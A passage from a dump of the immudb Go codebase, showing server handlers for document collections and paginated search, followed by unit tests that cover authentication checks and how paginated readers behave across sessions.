context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"RemoveField\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.RemoveField(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"CreateIndex\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.CreateIndex(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"DeleteIndex\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.DeleteIndex(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"InsertDocuments\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.InsertDocuments(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"ReplaceDocuments\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.ReplaceDocuments(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"AuditDocument\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.AuditDocument(ctx, req)\n}\n\nfunc (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.SearchDocumentsRequest) (*protomodel.SearchDocumentsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"SearchDocuments\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif req.SearchId != \"\" && req.Query != nil {\n\t\treturn nil, fmt.Errorf(\"%w: query or searchId must be specified, not both\", ErrIllegalArguments)\n\t}\n\n\tif req.Page < 1 || req.PageSize < 1 {\n\t\treturn nil, fmt.Errorf(\"%w: invalid page or page size\", ErrIllegalArguments)\n\t}\n\n\tif int(req.PageSize) > db.MaxResultSize() {\n\t\treturn nil, fmt.Errorf(\"%w: the specified page size (%d) is larger than the maximum allowed one (%d)\",\n\t\t\tdatabase.ErrResultSizeLimitExceeded, req.PageSize, db.MaxResultSize())\n\t}\n\n\t// get the session from the context\n\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsess, err := s.SessManager.GetSession(sessionID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsearchID := req.SearchId\n\tquery := req.Query\n\n\tvar pgreader *sessions.PaginatedDocumentReader\n\n\tif searchID == \"\" {\n\t\tsearchID = xid.New().String()\n\t} else {\n\t\tvar err error\n\n\t\tif pgreader, err = sess.GetDocumentReader(searchID); err != nil {\n\t\t\t// invalid SearchId, return error\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// paginated reader already exists, resume reading from the correct offset based\n\t\t// on pagination parameters, do validation on the pagination parameters\n\t\tif req.Page != pgreader.LastPageNumber+1 || req.PageSize != pgreader.LastPageSize {\n\t\t\tif pgreader.Reader != nil {\n\t\t\t\terr := pgreader.Reader.Close()\n\t\t\t\tif err != nil {\n\t\t\t\t\ts.Logger.Errorf(\"error closing paginated reader: %s, err = %v\", searchID, err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tquery = pgreader.Query\n\t\t\tpgreader = nil\n\t\t}\n\t}\n\n\tif pgreader == nil {\n\t\t// create a new reader and add it to the session\n\t\toffset := int64((req.Page - 1) * req.PageSize)\n\n\t\tdocReader, err := db.SearchDocuments(ctx, query, offset)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// store the reader in the session for future use\n\t\tpgreader = &sessions.PaginatedDocumentReader{\n\t\t\tReader:         docReader,\n\t\t\tQuery:          query,\n\t\t\tLastPageNumber: req.Page,\n\t\t\tLastPageSize:   req.PageSize,\n\t\t}\n\n\t\tsess.SetPaginatedDocumentReader(searchID, pgreader)\n\t}\n\n\t// read the next page of data from the paginated reader\n\tdocs, err := pgreader.Reader.ReadN(ctx, int(req.PageSize))\n\tif err != nil && !errors.Is(err, document.ErrNoMoreDocuments) {\n\t\treturn nil, err\n\t}\n\n\tif errors.Is(err, document.ErrNoMoreDocuments) || !req.KeepOpen {\n\t\t// end of data reached, remove the paginated reader and pagination parameters from the session\n\t\terr = sess.DeleteDocumentReader(searchID)\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"error deleting paginated reader: %s, err = %v\", searchID, err)\n\t\t}\n\n\t\treturn &protomodel.SearchDocumentsResponse{\n\t\t\tRevisions: docs,\n\t\t}, nil\n\t}\n\n\t// update the pagination parameters for this query in the session\n\tsess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PageSize)\n\n\treturn &protomodel.SearchDocumentsResponse{\n\t\tSearchId:  searchID,\n\t\tRevisions: docs,\n\t}, nil\n}\n\nfunc (s *ImmuServer) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"CountDocuments\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.CountDocuments(ctx, req)\n}\n\nfunc (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"DeleteDocuments\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\treturn db.DeleteDocuments(ctx, user.Username, req)\n}\n\nfunc (s *ImmuServer) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"ProofDocument\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := db.ProofDocument(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(res.VerifiableTx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tres.VerifiableTx.Signature = newState.Signature\n\t}\n\n\treturn res, nil\n}\n"
  },
  {
    "path": "pkg/server/documents_operations_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nfunc TestV2Authentication(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tctx := context.Background()\n\n\t_, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.UpdateCollection(ctx, &protomodel.UpdateCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.AddField(ctx, &protomodel.AddFieldRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.RemoveField(ctx, &protomodel.RemoveFieldRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.CreateIndex(ctx, &protomodel.CreateIndexRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.DeleteIndex(ctx, &protomodel.DeleteIndexRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.ReplaceDocuments(ctx, &protomodel.ReplaceDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.CountDocuments(ctx, &protomodel.CountDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.DeleteDocuments(ctx, &protomodel.DeleteDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.ProofDocument(ctx, &protomodel.ProofDocumentRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\tauthServiceImp := &authenticationServiceImp{server: s}\n\n\t_, err = authServiceImp.KeepAlive(context.Background(), &protomodel.KeepAliveRequest{})\n\trequire.Error(t, err)\n\n\t_, err = authServiceImp.CloseSession(context.Background(), &protomodel.CloseSessionRequest{})\n\trequire.Error(t, err)\n\n\t_, err = authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"wrongPassword\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.Error(t, err)\n\n\tlogged, err := authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\trequire.True(t, logged.InactivityTimestamp > 0)\n\trequire.True(t, logged.ExpirationTimestamp >= 0)\n\trequire.True(t, len(logged.ServerUUID) > 0)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = authServiceImp.KeepAlive(ctx, &protomodel.KeepAliveRequest{})\n\trequire.NoError(t, err)\n\n\t_, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{})\n\trequire.NotErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{})\n\trequire.NotErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{})\n\trequire.NotErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{})\n\trequire.NotErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{})\n\trequire.NotErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{})\n\trequire.NotErrorIs(t, err, ErrNotLoggedIn)\n}\n\nfunc TestPaginationOnReader(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\trequire.NoError(t, s.Initialize())\n\n\tauthenticationServiceImp := &authenticationServiceImp{s}\n\n\tlogged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\tcollectionName := \"mycollection\"\n\n\t_, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\tName: collectionName,\n\t\tFields: []*protomodel.Field{\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"idx\", Type: protomodel.FieldType_INTEGER},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"idx\"}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tfor i := 1.0; i <= 20; i++ {\n\t\t_, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"pincode\": structpb.NewNumberValue(i),\n\t\t\t\t\t\t\"country\": structpb.NewStringValue(fmt.Sprintf(\"country-%d\", int(i))),\n\t\t\t\t\t\t\"idx\":     structpb.NewNumberValue(i),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"test with search id and query should fail\", func(t *testing.T) {\n\t\t_, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\tSearchId: \"foobar\",\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: collectionName,\n\t\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t\t{\n\t\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tPage:     1,\n\t\t\tPageSize: 5,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\t_, err = s.SearchDocuments(ctx, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tt.Run(\"test with invalid search id should fail\", func(t *testing.T) {\n\t\t_, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\tSearchId: \"foobar\",\n\t\t\tPage:     1,\n\t\t\tPageSize: 5,\n\t\t})\n\t\trequire.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound)\n\t})\n\n\tt.Run(\"test reader for multiple paginated reads\", func(t *testing.T) {\n\t\tresults := make([]*protomodel.DocumentAtRevision, 0)\n\n\t\tvar searchID string\n\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tfor i := 1; i <= 4; i++ {\n\t\t\tresp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tSearchId: searchID,\n\t\t\t\tQuery:    query,\n\t\t\t\tPage:     uint32(i),\n\t\t\t\tPageSize: 5,\n\t\t\t\tKeepOpen: true,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, resp.Revisions, 5)\n\t\t\tresults = append(results, resp.Revisions...)\n\t\t\tsearchID = resp.SearchId\n\t\t\tquery = nil\n\t\t}\n\n\t\tfor i := 1.0; i <= 20; i++ {\n\t\t\tdocAtRev := results[int(i-1)]\n\t\t\trequire.Equal(t, i, docAtRev.Document.Fields[\"idx\"].GetNumberValue())\n\t\t}\n\n\t\t// ensure there is only one reader in the session for the request and it is being reused\n\t\t// get the session from the context\n\t\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\t\trequire.NoError(t, err)\n\n\t\tsess, err := s.SessManager.GetSession(sessionID)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, sess.GetDocumentReadersCount())\n\n\t\tt.Run(\"test reader should throw no more entries when reading more entries from a reader\", func(t *testing.T) {\n\t\t\t_, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tSearchId: searchID,\n\t\t\t\tPage:     5,\n\t\t\t\tPageSize: 5,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t})\n\t})\n\n\tt.Run(\"test reader should throw error on reading backwards\", func(t *testing.T) {\n\t\tvar searchID string\n\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tfor i := 1; i <= 3; i++ {\n\t\t\tresp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tSearchId: searchID,\n\t\t\t\tQuery:    query,\n\t\t\t\tPage:     uint32(i),\n\t\t\t\tPageSize: 5,\n\t\t\t\tKeepOpen: true,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, resp.Revisions, 5)\n\t\t\tsearchID = resp.SearchId\n\t\t\tquery = nil\n\t\t}\n\n\t\t_, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\tSearchId: searchID,\n\t\t\tPage:     2, // read upto page 3, check if we can read backwards\n\t\t\tPageSize: 5,\n\t\t})\n\t\trequire.NoError(t, err)\n\t})\n\n\t// close session and ensure that all paginated readers are closed\n\t_, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{})\n\trequire.NoError(t, err)\n}\n\nfunc TestPaginationWithoutSearchID(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\trequire.NoError(t, s.Initialize())\n\n\tauthServiceImp := &authenticationServiceImp{server: s}\n\n\tlogged, err := authServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\tcollectionName := \"mycollection\"\n\n\t_, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\tName: collectionName,\n\t\tFields: []*protomodel.Field{\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"idx\", Type: protomodel.FieldType_INTEGER},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"idx\"}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tfor i := 1.0; i <= 20; i++ {\n\t\t_, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"pincode\": structpb.NewNumberValue(i),\n\t\t\t\t\t\t\"country\": structpb.NewStringValue(fmt.Sprintf(\"country-%d\", int(i))),\n\t\t\t\t\t\t\"idx\":     structpb.NewNumberValue(i),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"test reader for multiple paginated reads without search ID should have no open readers\", func(t *testing.T) {\n\t\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\t\trequire.NoError(t, err)\n\n\t\tsess, err := s.SessManager.GetSession(sessionID)\n\t\trequire.NoError(t, err)\n\n\t\tresults := make([]*protomodel.DocumentAtRevision, 0)\n\n\t\tfor i := 1; i <= 4; i++ {\n\t\t\tresp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tQuery: &protomodel.Query{\n\t\t\t\t\tCollectionName: collectionName,\n\t\t\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPage:     uint32(i),\n\t\t\t\tPageSize: 5,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, resp.Revisions, 5)\n\t\t\tresults = append(results, resp.Revisions...)\n\t\t}\n\n\t\tfor i := 1.0; i <= 20; i++ {\n\t\t\tdocAtRev := results[int(i-1)]\n\t\t\trequire.Equal(t, i, docAtRev.Document.Fields[\"idx\"].GetNumberValue())\n\t\t}\n\n\t\trequire.Zero(t, sess.GetDocumentReadersCount())\n\t})\n\n\t// close session and ensure that all paginated readers are closed\n\t_, err = authServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{})\n\trequire.NoError(t, err)\n}\n\nfunc TestPaginatedReader_NoMoreDocsFound(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\trequire.NoError(t, s.Initialize())\n\n\tauthenticationServiceImp := &authenticationServiceImp{s}\n\n\tlogged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\tcollectionName := \"mycollection\"\n\n\t_, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\tName: collectionName,\n\t\tFields: []*protomodel.Field{\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"idx\", Type: protomodel.FieldType_INTEGER},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t\t{Fields: []string{\"country\"}},\n\t\t\t{Fields: []string{\"idx\"}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tfor i := 1.0; i <= 10; i++ {\n\t\t_, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"pincode\": structpb.NewNumberValue(i),\n\t\t\t\t\t\t\"country\": structpb.NewStringValue(fmt.Sprintf(\"country-%d\", int(i))),\n\t\t\t\t\t\t\"idx\":     structpb.NewNumberValue(i),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"document count without conditions should return the total number of documents\", func(t *testing.T) {\n\t\tresp, err := s.CountDocuments(ctx, &protomodel.CountDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: collectionName,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 10, resp.Count)\n\t})\n\n\tt.Run(\"test reader with multiple paginated reads\", func(t *testing.T) {\n\t\tresults := make([]*protomodel.DocumentAtRevision, 0)\n\n\t\tvar searchID string\n\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tfor i := 1; i <= 2; i++ {\n\t\t\tresp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tSearchId: searchID,\n\t\t\t\tQuery:    query,\n\t\t\t\tPage:     uint32(i),\n\t\t\t\tPageSize: 4,\n\t\t\t\tKeepOpen: true,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, resp.Revisions, 4)\n\t\t\tresults = append(results, resp.Revisions...)\n\t\t\tsearchID = resp.SearchId\n\t\t\tquery = nil\n\t\t}\n\n\t\t// ensure there is only one reader in the session for the request and it is being reused\n\t\t// get the session from the context\n\t\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\t\trequire.NoError(t, err)\n\n\t\tsess, err := s.SessManager.GetSession(sessionID)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, sess.GetDocumentReadersCount())\n\n\t\tt.Run(\"test reader should throw no more entries when reading more entries from a reader\", func(t *testing.T) {\n\t\t\tresp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tSearchId: searchID,\n\t\t\t\tPage:     